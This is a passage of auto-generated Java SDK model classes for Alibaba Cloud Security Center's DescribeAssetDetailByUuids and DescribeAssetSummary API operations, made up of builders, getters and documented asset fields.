this.vpcInstanceId = vpcInstanceId;
return this;
}
public AssetDetail build() {
return new AssetDetail(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidsRequest} extends {@link RequestModel}
*
* <p>DescribeAssetDetailByUuidsRequest</p>
*/
public class DescribeAssetDetailByUuidsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceDirectoryAccountId")
private Long resourceDirectoryAccountId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuids")
@com.aliyun.core.annotation.Validation(required = true)
private String uuids;
private DescribeAssetDetailByUuidsRequest(Builder builder) {
super(builder);
this.lang = builder.lang;
this.resourceDirectoryAccountId = builder.resourceDirectoryAccountId;
this.uuids = builder.uuids;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetDetailByUuidsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return resourceDirectoryAccountId
*/
public Long getResourceDirectoryAccountId() {
return this.resourceDirectoryAccountId;
}
/**
* @return uuids
*/
public String getUuids() {
return this.uuids;
}
public static final class Builder extends Request.Builder<DescribeAssetDetailByUuidsRequest, Builder> {
private String lang;
private Long resourceDirectoryAccountId;
private String uuids;
private Builder() {
super();
}
private Builder(DescribeAssetDetailByUuidsRequest request) {
super(request);
this.lang = request.lang;
this.resourceDirectoryAccountId = request.resourceDirectoryAccountId;
this.uuids = request.uuids;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The Alibaba Cloud account ID of the member in the resource directory.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeMonitorAccounts~~">DescribeMonitorAccounts</a> operation to query the IDs of Alibaba Cloud accounts.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>127608589417****</p>
*/
public Builder resourceDirectoryAccountId(Long resourceDirectoryAccountId) {
this.putQueryParameter("ResourceDirectoryAccountId", resourceDirectoryAccountId);
this.resourceDirectoryAccountId = resourceDirectoryAccountId;
return this;
}
/**
* <p>The UUIDs of the instances. Separate multiple UUIDs with commas (,).</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeCloudCenterInstances~~">DescribeCloudCenterInstances</a> operation to query the UUIDs of instances.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>0687b17f-2a36-4e5****,0687b17f-2a36-4e****</p>
*/
public Builder uuids(String uuids) {
this.putQueryParameter("Uuids", uuids);
this.uuids = uuids;
return this;
}
@Override
public DescribeAssetDetailByUuidsRequest build() {
return new DescribeAssetDetailByUuidsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidsResponse} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidsResponse</p>
*/
public class DescribeAssetDetailByUuidsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAssetDetailByUuidsResponseBody body;
private DescribeAssetDetailByUuidsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAssetDetailByUuidsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAssetDetailByUuidsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAssetDetailByUuidsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAssetDetailByUuidsResponseBody body);
@Override
DescribeAssetDetailByUuidsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAssetDetailByUuidsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAssetDetailByUuidsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAssetDetailByUuidsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAssetDetailByUuidsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAssetDetailByUuidsResponse build() {
return new DescribeAssetDetailByUuidsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidsResponseBody</p>
*/
public class DescribeAssetDetailByUuidsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetList")
private java.util.List<AssetList> assetList;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAssetDetailByUuidsResponseBody(Builder builder) {
this.assetList = builder.assetList;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetDetailByUuidsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return assetList
*/
public java.util.List<AssetList> getAssetList() {
return this.assetList;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<AssetList> assetList;
private String requestId;
private Builder() {
}
private Builder(DescribeAssetDetailByUuidsResponseBody model) {
this.assetList = model.assetList;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of the details of the instances.</p>
*/
public Builder assetList(java.util.List<AssetList> assetList) {
this.assetList = assetList;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>92016EC8-D52D-49D8-9FF7-9EA340A950B9</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAssetDetailByUuidsResponseBody build() {
return new DescribeAssetDetailByUuidsResponseBody(this);
}
}
/**
*
* {@link DescribeAssetDetailByUuidsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidsResponseBody</p>
*/
public static class AssetList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetType")
private String assetType;
@com.aliyun.core.annotation.NameInMap("AuthModifyTime")
private Long authModifyTime;
@com.aliyun.core.annotation.NameInMap("AuthVersion")
private Integer authVersion;
@com.aliyun.core.annotation.NameInMap("Bind")
private Boolean bind;
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("ClientVersion")
private String clientVersion;
@com.aliyun.core.annotation.NameInMap("Cpu")
private Integer cpu;
@com.aliyun.core.annotation.NameInMap("CpuInfo")
private String cpuInfo;
@com.aliyun.core.annotation.NameInMap("CreateTime")
private Long createTime;
@com.aliyun.core.annotation.NameInMap("DiskInfoList")
private java.util.List<String> diskInfoList;
@com.aliyun.core.annotation.NameInMap("Flag")
private Integer flag;
@com.aliyun.core.annotation.NameInMap("GroupTrace")
private String groupTrace;
@com.aliyun.core.annotation.NameInMap("HostName")
private String hostName;
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("Ip")
private String ip;
@com.aliyun.core.annotation.NameInMap("IpList")
private java.util.List<String> ipList;
@com.aliyun.core.annotation.NameInMap("Kernel")
private String kernel;
@com.aliyun.core.annotation.NameInMap("MacList")
private java.util.List<String> macList;
@com.aliyun.core.annotation.NameInMap("Mem")
private Integer mem;
@com.aliyun.core.annotation.NameInMap("Memory")
private Long memory;
@com.aliyun.core.annotation.NameInMap("Os")
private String os;
@com.aliyun.core.annotation.NameInMap("OsDetail")
private String osDetail;
@com.aliyun.core.annotation.NameInMap("OsName")
private String osName;
@com.aliyun.core.annotation.NameInMap("Region")
private String region;
@com.aliyun.core.annotation.NameInMap("RegionId")
private String regionId;
@com.aliyun.core.annotation.NameInMap("RegionName")
private String regionName;
@com.aliyun.core.annotation.NameInMap("SysInfo")
private String sysInfo;
@com.aliyun.core.annotation.NameInMap("Tag")
private String tag;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
@com.aliyun.core.annotation.NameInMap("VpcInstanceId")
private String vpcInstanceId;
private AssetList(Builder builder) {
this.assetType = builder.assetType;
this.authModifyTime = builder.authModifyTime;
this.authVersion = builder.authVersion;
this.bind = builder.bind;
this.clientStatus = builder.clientStatus;
this.clientVersion = builder.clientVersion;
this.cpu = builder.cpu;
this.cpuInfo = builder.cpuInfo;
this.createTime = builder.createTime;
this.diskInfoList = builder.diskInfoList;
this.flag = builder.flag;
this.groupTrace = builder.groupTrace;
this.hostName = builder.hostName;
this.instanceId = builder.instanceId;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.ip = builder.ip;
this.ipList = builder.ipList;
this.kernel = builder.kernel;
this.macList = builder.macList;
this.mem = builder.mem;
this.memory = builder.memory;
this.os = builder.os;
this.osDetail = builder.osDetail;
this.osName = builder.osName;
this.region = builder.region;
this.regionId = builder.regionId;
this.regionName = builder.regionName;
this.sysInfo = builder.sysInfo;
this.tag = builder.tag;
this.uuid = builder.uuid;
this.vpcInstanceId = builder.vpcInstanceId;
}
public static Builder builder() {
return new Builder();
}
public static AssetList create() {
return builder().build();
}
/**
* @return assetType
*/
public String getAssetType() {
return this.assetType;
}
/**
* @return authModifyTime
*/
public Long getAuthModifyTime() {
return this.authModifyTime;
}
/**
* @return authVersion
*/
public Integer getAuthVersion() {
return this.authVersion;
}
/**
* @return bind
*/
public Boolean getBind() {
return this.bind;
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return clientVersion
*/
public String getClientVersion() {
return this.clientVersion;
}
/**
* @return cpu
*/
public Integer getCpu() {
return this.cpu;
}
/**
* @return cpuInfo
*/
public String getCpuInfo() {
return this.cpuInfo;
}
/**
* @return createTime
*/
public Long getCreateTime() {
return this.createTime;
}
/**
* @return diskInfoList
*/
public java.util.List<String> getDiskInfoList() {
return this.diskInfoList;
}
/**
* @return flag
*/
public Integer getFlag() {
return this.flag;
}
/**
* @return groupTrace
*/
public String getGroupTrace() {
return this.groupTrace;
}
/**
* @return hostName
*/
public String getHostName() {
return this.hostName;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return ip
*/
public String getIp() {
return this.ip;
}
/**
* @return ipList
*/
public java.util.List<String> getIpList() {
return this.ipList;
}
/**
* @return kernel
*/
public String getKernel() {
return this.kernel;
}
/**
* @return macList
*/
public java.util.List<String> getMacList() {
return this.macList;
}
/**
* @return mem
*/
public Integer getMem() {
return this.mem;
}
/**
* @return memory
*/
public Long getMemory() {
return this.memory;
}
/**
* @return os
*/
public String getOs() {
return this.os;
}
/**
* @return osDetail
*/
public String getOsDetail() {
return this.osDetail;
}
/**
* @return osName
*/
public String getOsName() {
return this.osName;
}
/**
* @return region
*/
public String getRegion() {
return this.region;
}
/**
* @return regionId
*/
public String getRegionId() {
return this.regionId;
}
/**
* @return regionName
*/
public String getRegionName() {
return this.regionName;
}
/**
* @return sysInfo
*/
public String getSysInfo() {
return this.sysInfo;
}
/**
* @return tag
*/
public String getTag() {
return this.tag;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
/**
* @return vpcInstanceId
*/
public String getVpcInstanceId() {
return this.vpcInstanceId;
}
public static final class Builder {
private String assetType;
private Long authModifyTime;
private Integer authVersion;
private Boolean bind;
private String clientStatus;
private String clientVersion;
private Integer cpu;
private String cpuInfo;
private Long createTime;
private java.util.List<String> diskInfoList;
private Integer flag;
private String groupTrace;
private String hostName;
private String instanceId;
private String instanceName;
private String internetIp;
private String intranetIp;
private String ip;
private java.util.List<String> ipList;
private String kernel;
private java.util.List<String> macList;
private Integer mem;
private Long memory;
private String os;
private String osDetail;
private String osName;
private String region;
private String regionId;
private String regionName;
private String sysInfo;
private String tag;
private String uuid;
private String vpcInstanceId;
private Builder() {
}
private Builder(AssetList model) {
this.assetType = model.assetType;
this.authModifyTime = model.authModifyTime;
this.authVersion = model.authVersion;
this.bind = model.bind;
this.clientStatus = model.clientStatus;
this.clientVersion = model.clientVersion;
this.cpu = model.cpu;
this.cpuInfo = model.cpuInfo;
this.createTime = model.createTime;
this.diskInfoList = model.diskInfoList;
this.flag = model.flag;
this.groupTrace = model.groupTrace;
this.hostName = model.hostName;
this.instanceId = model.instanceId;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.ip = model.ip;
this.ipList = model.ipList;
this.kernel = model.kernel;
this.macList = model.macList;
this.mem = model.mem;
this.memory = model.memory;
this.os = model.os;
this.osDetail = model.osDetail;
this.osName = model.osName;
this.region = model.region;
this.regionId = model.regionId;
this.regionName = model.regionName;
this.sysInfo = model.sysInfo;
this.tag = model.tag;
this.uuid = model.uuid;
this.vpcInstanceId = model.vpcInstanceId;
}
/**
* <p>The type of the asset.</p>
* <p>The value is fixed as <strong>0</strong>, which indicates ECS instances.</p>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder assetType(String assetType) {
this.assetType = assetType;
return this;
}
/**
* <p>The timestamp when Security Center is authorized to protect the instance. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1627974044000</p>
*/
public Builder authModifyTime(Long authModifyTime) {
this.authModifyTime = authModifyTime;
return this;
}
/**
* <p>The edition of Security Center that is authorized to protect the instance. Valid values:</p>
* <ul>
* <li><strong>1</strong>: Basic edition (Unauthorized)</li>
* <li><strong>6</strong>: Anti-virus edition</li>
* <li><strong>5</strong>: Advanced edition</li>
* <li><strong>3</strong>: Enterprise edition</li>
* <li><strong>7</strong>: Ultimate edition</li>
* </ul>
*
* <strong>example:</strong>
* <p>7</p>
*/
public Builder authVersion(Integer authVersion) {
this.authVersion = authVersion;
return this;
}
/**
* <p>Indicates whether Security Center is authorized to protect the instance. Valid values:</p>
* <ul>
* <li><strong>true</strong></li>
* <li><strong>false</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder bind(Boolean bind) {
this.bind = bind;
return this;
}
/**
* <p>The status of the Security Center agent. Valid values:</p>
* <ul>
* <li><strong>online</strong></li>
* <li><strong>offline</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>online</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The version of the Security Center agent.</p>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder clientVersion(String clientVersion) {
this.clientVersion = clientVersion;
return this;
}
/**
* <p>The number of CPU cores.</p>
*
* <strong>example:</strong>
* <p>4</p>
*/
public Builder cpu(Integer cpu) {
this.cpu = cpu;
return this;
}
/**
* <p>The details of the CPU.</p>
*
* <strong>example:</strong>
* <p>Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz</p>
*/
public Builder cpuInfo(String cpuInfo) {
this.cpuInfo = cpuInfo;
return this;
}
/**
* <p>The timestamp when Security Center records the details of the instance. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1603863599000</p>
*/
public Builder createTime(Long createTime) {
this.createTime = createTime;
return this;
}
/**
* <p>An array that consists of the information about the disk.</p>
*/
public Builder diskInfoList(java.util.List<String> diskInfoList) {
this.diskInfoList = diskInfoList;
return this;
}
/**
* <p>The type of the asset by source. Valid values:</p>
* <ul>
* <li><strong>0</strong>: The asset is provided by Alibaba Cloud.</li>
* <li><strong>1</strong>: The asset is not provided by Alibaba Cloud.</li>
* <li><strong>2</strong>: The asset resides in a data center.</li>
* <li><strong>3</strong>, <strong>4</strong>, <strong>5</strong>, and <strong>7</strong>: other cloud asset.</li>
* <li><strong>8</strong>: light-weight assets.</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder flag(Integer flag) {
this.flag = flag;
return this;
}
/**
* <p>The group to which the instance belongs. By default, the instances that are not grouped belong to the <strong>Default</strong> group.</p>
*
* <strong>example:</strong>
* <p>default</p>
*/
public Builder groupTrace(String groupTrace) {
this.groupTrace = groupTrace;
return this;
}
/**
* <p>The hostname.</p>
*
* <strong>example:</strong>
* <p>test</p>
*/
public Builder hostName(String hostName) {
this.hostName = hostName;
return this;
}
/**
* <p>The ID of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>i-rj9gda4wolo0zixi****</p>
*/
public Builder instanceId(String instanceId) {
this.instanceId = instanceId;
return this;
}
/**
* <p>The name of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>TestInstanceName</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>10.10.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The IP address of the ECS instance.</p>
* <blockquote>
* <p> If the ECS instance has a public IP address, the value of this parameter is the public IP address of the ECS instance. If the ECS instance does not have a public IP address, the value of this parameter is the private IP address of the ECS instance.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>10.10.XX.XX</p>
*/
public Builder ip(String ip) {
this.ip = ip;
return this;
}
/**
* <p>The IP addresses of the instances.</p>
*/
public Builder ipList(java.util.List<String> ipList) {
this.ipList = ipList;
return this;
}
/**
* <p>The kernel version of the operating system.</p>
*
* <strong>example:</strong>
* <p>4.18.0-80.11.2.el8_0.x86_64</p>
*/
public Builder kernel(String kernel) {
this.kernel = kernel;
return this;
}
/**
* <p>The media access control (MAC) addresses of the instances.</p>
*/
public Builder macList(java.util.List<String> macList) {
this.macList = macList;
return this;
}
/**
* <p>The memory size of the instance. Unit: GB.</p>
*
* <strong>example:</strong>
* <p>4</p>
*/
public Builder mem(Integer mem) {
this.mem = mem;
return this;
}
/**
* <p>The memory size of the instance. Unit: MB.</p>
*
* <strong>example:</strong>
* <p>1024</p>
*/
public Builder memory(Long memory) {
this.memory = memory;
return this;
}
/**
* <p>The operating system of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>Linux</p>
*/
public Builder os(String os) {
this.os = os;
return this;
}
/**
* <p>The operating system version of the instance.</p>
*
* <strong>example:</strong>
* <p>Linux 64bit</p>
*/
public Builder osDetail(String osDetail) {
this.osDetail = osDetail;
return this;
}
/**
* <p>The name of the operating system run by the ECS instance.</p>
*
* <strong>example:</strong>
* <p>CentOS 7.6 64-bit</p>
*/
public Builder osName(String osName) {
this.osName = osName;
return this;
}
/**
* <p>The region in which the ECS instance resides.</p>
*
* <strong>example:</strong>
* <p>cn-guangzhou</p>
*/
public Builder region(String region) {
this.region = region;
return this;
}
/**
* <p>The region in which the ECS instance resides.</p>
* <blockquote>
* <p> For more information about the mapping between region IDs and region names, see <a href="https://help.aliyun.com/document_detail/40654.html">Regions and zones</a>.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>cn-shanghai</p>
*/
public Builder regionId(String regionId) {
this.regionId = regionId;
return this;
}
/**
* <p>The name of the region in which the ECS instance resides.</p>
*
* <strong>example:</strong>
* <p>cn-shenzhen</p>
*/
public Builder regionName(String regionName) {
this.regionName = regionName;
return this;
}
/**
* <p>The operating system information about the instance.</p>
*
* <strong>example:</strong>
* <p>CentOS Linux 8.0.1905</p>
*/
public Builder sysInfo(String sysInfo) {
this.sysInfo = sysInfo;
return this;
}
/**
* <p>The tag added to the instance.</p>
*
* <strong>example:</strong>
* <p>test</p>
*/
public Builder tag(String tag) {
this.tag = tag;
return this;
}
/**
* <p>The UUID of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>2a98f149-0256-414c-a29a-a69f8a75****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
/**
* <p>The ID of the virtual private cloud (VPC).</p>
*
* <strong>example:</strong>
* <p>13231-331331</p>
*/
public Builder vpcInstanceId(String vpcInstanceId) {
this.vpcInstanceId = vpcInstanceId;
return this;
}
public AssetList build() {
return new AssetList(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetSummaryRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetSummaryRequest} extends {@link RequestModel}
*
* <p>DescribeAssetSummaryRequest</p>
*/
public class DescribeAssetSummaryRequest extends Request {
private DescribeAssetSummaryRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetSummaryRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeAssetSummaryRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeAssetSummaryRequest request) {
super(request);
}
@Override
public DescribeAssetSummaryRequest build() {
return new DescribeAssetSummaryRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetSummaryResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetSummaryResponse} extends {@link TeaModel}
*
* <p>DescribeAssetSummaryResponse</p>
*/
public class DescribeAssetSummaryResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAssetSummaryResponseBody body;
private DescribeAssetSummaryResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAssetSummaryResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAssetSummaryResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAssetSummaryResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAssetSummaryResponseBody body);
@Override
DescribeAssetSummaryResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAssetSummaryResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAssetSummaryResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAssetSummaryResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAssetSummaryResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAssetSummaryResponse build() {
return new DescribeAssetSummaryResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetSummaryResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetSummaryResponseBody</p>
*/
public class DescribeAssetSummaryResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetsSummary")
private AssetsSummary assetsSummary;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAssetSummaryResponseBody(Builder builder) {
this.assetsSummary = builder.assetsSummary;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetSummaryResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return assetsSummary
*/
public AssetsSummary getAssetsSummary() {
return this.assetsSummary;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private AssetsSummary assetsSummary;
private String requestId;
private Builder() {
}
private Builder(DescribeAssetSummaryResponseBody model) {
this.assetsSummary = model.assetsSummary;
this.requestId = model.requestId;
}
/**
* <p>The statistical information about the assets.</p>
*/
public Builder assetsSummary(AssetsSummary assetsSummary) {
this.assetsSummary = assetsSummary;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>0FA7F1F4-488D-52CA-9BFC-3E47793B49D1</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAssetSummaryResponseBody build() {
return new DescribeAssetSummaryResponseBody(this);
}
}
/**
*
* {@link DescribeAssetSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetSummaryResponseBody</p>
*/
public static class AssetsSummary extends TeaModel {
@com.aliyun.core.annotation.NameInMap("TotalAssetAllRegion")
private Integer totalAssetAllRegion;
@com.aliyun.core.annotation.NameInMap("TotalCoreAllRegion")
private Integer totalCoreAllRegion;
@com.aliyun.core.annotation.NameInMap("TotalCoreNum")
private Integer totalCoreNum;
private AssetsSummary(Builder builder) {
this.totalAssetAllRegion = builder.totalAssetAllRegion;
this.totalCoreAllRegion = builder.totalCoreAllRegion;
this.totalCoreNum = builder.totalCoreNum;
}
public static Builder builder() {
return new Builder();
}
public static AssetsSummary create() {
return builder().build();
}
/**
* @return totalAssetAllRegion
*/
public Integer getTotalAssetAllRegion() {
return this.totalAssetAllRegion;
}
/**
* @return totalCoreAllRegion
*/
public Integer getTotalCoreAllRegion() {
return this.totalCoreAllRegion;
}
/**
